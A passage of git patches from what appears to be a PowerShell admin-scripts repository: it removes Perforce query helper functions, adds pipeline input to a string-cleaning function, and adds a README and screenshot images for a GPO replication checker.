'@') { ($result[5]) } - else { "NA" } - $Client = if ($result[4] -match '@') { ($result[6]) } - else { "NA" } - $Command = if ($result[4] -match '@') { ($result[7..$result.Count] -as [string]) } - else { "NA" } - - - [pscustomobject][ordered]@{ - DateTime = $result[0..1] -as [string] -as [datetime] - PID = $result[3] - Status = $Status - Duration = $Duration - Username = $Username - Workspace = $Workspace - IPAddress = $IPAddress - Client = $Client - Command = $Command - Line = $Line.trim() - } - - } - - - } - } - # Close Reader - $StreamReader.Close() -} \ No newline at end of file diff --git a/PERFORCE-Get-PerforceTicket/Get-PerforceTicket.ps1 b/PERFORCE-Get-PerforceTicket/Get-PerforceTicket.ps1 deleted file mode 100644 index a22ee768..00000000 --- a/PERFORCE-Get-PerforceTicket/Get-PerforceTicket.ps1 +++ /dev/null @@ -1,33 +0,0 @@ -function Get-PerforceTicket -{ -<# - .SYNOPSIS - Function to display all tickets granted to a user by p4 login. - - .DESCRIPTION - Function to display all tickets granted to a user by p4 login. - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - github.com/lazywinadmin -#> - - [CmdletBinding()] - param () - - $Ticket = p4 tickets - - foreach ($Tick in $Ticket) - { - $TicketSplit = $Tick -split '\s' - - [pscustomobject][ordered]@{ - Server = ($TicketSplit[0] -split ':')[0] - Port = ($TicketSplit[0] -split ':')[1] - Username = $TicketSplit[1] -replace '[()]', '' - ID = $TicketSplit[2] - } - } -} diff --git a/PERFORCE-Get-PerforceUser/Get-PerforceUser.ps1 b/PERFORCE-Get-PerforceUser/Get-PerforceUser.ps1 deleted file mode 100644 index c32cd183..00000000 --- a/PERFORCE-Get-PerforceUser/Get-PerforceUser.ps1 +++ /dev/null @@ -1,33 +0,0 @@ -function Get-PerforceUser -{ -<# - .SYNOPSIS - Function to retrieve all the users in Perforce - - .DESCRIPTION - Function to retrieve all the users in Perforce - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - github.com/lazywinadmin -#> - - [CmdletBinding()] - [OutputType([psobject])] - param () - - foreach ($user in (p4 users)) - { - $UserSplit = $user.trim() -split ' ' - - [pscustomobject][ordered]@{ - SamaccountName = $UserSplit[0] - Email = $UserSplit[1] -replace '<', '' -replace '>', '' - DisplayName = $UserSplit[2..$(($UserSplit.count) - 3)] -replace '[()]', '' -as [string] - LastAccess = $UserSplit[-1] -as [datetime] - Line = $user - } - } -} diff --git a/PERFORCE-Get-PerforceWorkspace/Get-PerforceWorkspace.ps1 b/PERFORCE-Get-PerforceWorkspace/Get-PerforceWorkspace.ps1 deleted file mode 100644 index c21f99c7..00000000 --- a/PERFORCE-Get-PerforceWorkspace/Get-PerforceWorkspace.ps1 +++ /dev/null @@ -1,54 +0,0 @@ -function Get-PerforceWorkspace -{ -<# - .SYNOPSIS - Function to retrieve Perforce all the Workspaces or those owned by a specific user - - .DESCRIPTION - Function to retrieve Perforce all the Workspaces or those owned by a specific user - - .PARAMETER UserName - Specified the Username to query - - .OUTPUTS - psobject - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - github.com/lazywinadmin -#> - - [CmdletBinding(DefaultParameterSetName = 'All')] - [OutputType([psobject], ParameterSetName = 'UserName')] - [OutputType([psobject])] - param - ( - [Parameter(ParameterSetName = 'UserName')] - [string]$UserName - ) - - if ($PSBoundParameters['UserName']) - { - $workspaces = p4 workspaces -u $UserName - } - else - { - $Workspaces = p4 workspaces - } - - Foreach ($WorkSp in $workspaces) - { - $OriginalLine = $WorkSp - $WorkSp = $WorkSp -split '\s' - $WorkSpCount = $WorkSp.count - [pscustomobject][ordered]@{ - Name = $WorkSp[1] - CreationDate = $WorkSp[2] -as [datetime] - Root = $WorkSp[4] - Comment = $WorkSp[5..$WorkSpCount] -as [string] - Line = $OriginalLine - } - } -} diff --git a/PERFORCE-New-PerforceUser/New-PerforceUser.ps1 b/PERFORCE-New-PerforceUser/New-PerforceUser.ps1 deleted file mode 100644 index e86606bf..00000000 --- a/PERFORCE-New-PerforceUser/New-PerforceUser.ps1 +++ /dev/null @@ -1,16 +0,0 @@ -function New-PerforceUser -{ -<# -.SYNOPSIS - Create a user in perforce based on tmp file which contains the User, Email and FullName -.DESCRIPTION - Create a user in perforce based on tmp file which contains the User, Email and FullName -#> - [CmdletBinding()] - PARAM ($UserTemplate) - PROCESS - { - # Create perforce user based on template - Get-Content $UserTemplate | p4 user -f -i - } -} \ No newline at end of file diff --git a/PERFORCE-New-PerforceUserTemplate/New-PerforceUserTemplate.ps1 b/PERFORCE-New-PerforceUserTemplate/New-PerforceUserTemplate.ps1 deleted file mode 100644 index 18c24599..00000000 --- a/PERFORCE-New-PerforceUserTemplate/New-PerforceUserTemplate.ps1 +++ /dev/null @@ -1,42 +0,0 @@ -function New-PerforceUserTemplate -{ -<# -.SYNOPSIS - Create a tmp file which contains the User, Email and FullName -.DESCRIPTION - Create a tmp file which contains the User, Email and FullName -#> - [CmdletBinding()] - PARAM ( - [Parameter(Mandatory = $True)] - $UserName, - - [Parameter(Mandatory = $True)] - $EmailAddress, - - [Parameter(Mandatory = $True)] - $FullName, - - $TempDirectory = "c:\" - ) - PROCESS - { - # Create Temp file - $p4TemplateFile = join-path -path $TempDirectory -childpath "NewPerforceUser_$($UserName)_$(Get-Date -Format 'yyyyMMdd_HHmmss').tmp" - - # Define user information - $tempp4NewUserName = "User:" + $UserName - $tempp4NewUserEmail = "email:" + $EmailAddress - $tempp4NewUserFullName = "fullname:" + $FullName - - # Add the information to a template file - $tempp4NewUserName | Out-File -FilePath $p4TemplateFile | Out-Null - $tempp4NewUserEmail | Out-File -FilePath $p4TemplateFile -Append | Out-Null - $tempp4NewUserFullName | Out-File -FilePath $p4TemplateFile -Append | Out-Null - } - END - { - #Output FilePath - Write-Output $p4TemplateFile - } -} \ No newline at end of file From a4a74c160208399fd666a58428d2a7efa39bf493 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 29 Mar 2016 13:09:48 -0400 Subject: [PATCH 086/561] Add Support for ValueFromPipeline --- .../Remove-StringSpecialCharacter.ps1 | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 index 338e4a51..ff9f1ced 100644 --- a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 +++ b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 @@ -38,9 +38,10 @@ param ( + [Parameter(ValueFromPipeline)] [ValidateNotNullOrEmpty()] [Alias('Text')] - [System.String]$String, + [System.String[]]$String, [Alias("Keep")] [ValidateNotNullOrEmpty()] @@ -60,6 +61,9 @@ } #IF($PSBoundParameters["SpecialCharacterToKeep"]) ELSE { $Regex = "[^\p{L}\p{Nd}]+" } - $String -replace $regex, "" + FOREACH ($Str in $string) + { + $Str -replace $regex, "" + } } #PROCESS } \ No newline at end of file From 588d372d80b1850c9a2ee74d9836087fb9f890ee Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 5 Apr 2016 22:50:46 -0400 Subject: [PATCH 087/561] Add Get-ADGPOReplication Docs --- AD-GPO-Get-ADGPOReplication/README.MD | 27 ++++++++++++++++++ .../images/Get-ADGPOReplication01.png | Bin 0 -> 33471 bytes .../Get-ADGPOReplication_OutGridView.png | Bin 0 -> 34011 bytes 3 files changed, 27 insertions(+) create mode 100644 AD-GPO-Get-ADGPOReplication/README.MD create mode 100644 AD-GPO-Get-ADGPOReplication/images/Get-ADGPOReplication01.png create mode 100644 AD-GPO-Get-ADGPOReplication/images/Get-ADGPOReplication_OutGridView.png diff --git a/AD-GPO-Get-ADGPOReplication/README.MD b/AD-GPO-Get-ADGPOReplication/README.MD new file mode 100644 index 00000000..180f1196 --- /dev/null +++ b/AD-GPO-Get-ADGPOReplication/README.MD @@ -0,0 +1,27 @@ +# Function Get-ADGPOReplication + +(LazyWinAdmin Article)[] + +Get-ADGPOReplication is retrieving the GPO version and Sysvol version accross the domain for one or more Group Policy objects. This can especially helps you troubleshooting replication issues. + +This small function is taking advantage of the module ActiveDirectory to retrieve the list of all Domain Controllers and the module GroupPolicy to query one or more Group Policy objects. + +For each GPO, It will then retrieve the version of the User/Computer configurations and the Sysvol Version. + +Getting the list of Domain Controllers +$DomainControllers = ((Get-ADDomainController -filter *).hostname) + +Processing each Group Policy Object, against each Domain controllers +Foreach ($GPOItem in $GPOName) +{ + $GPO = Get-GPO -Name $GPOItem -Server $DomainController -ErrorAction Stop + + [pscustomobject][ordered] @{ + GroupPolicyName = $GPOItem + DomainController = $DomainController + UserVersion = $GPO.User.DSVersion + UserSysVolVersion = $GPO.User.SysvolVersion + ComputerVersion = $GPO.Computer.DSVersion + ComputerSysVolVersion = $GPO.Computer.SysvolVersion + }#PSObject +}#Foreach ($GPOItem in $GPOName) \ No newline at end of file diff --git a/AD-GPO-Get-ADGPOReplication/images/Get-ADGPOReplication01.png b/AD-GPO-Get-ADGPOReplication/images/Get-ADGPOReplication01.png new file mode 100644 index 0000000000000000000000000000000000000000..689b5c9213890adabf191be7d49edcdbb1ceec7e GIT binary patch literal 33471 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 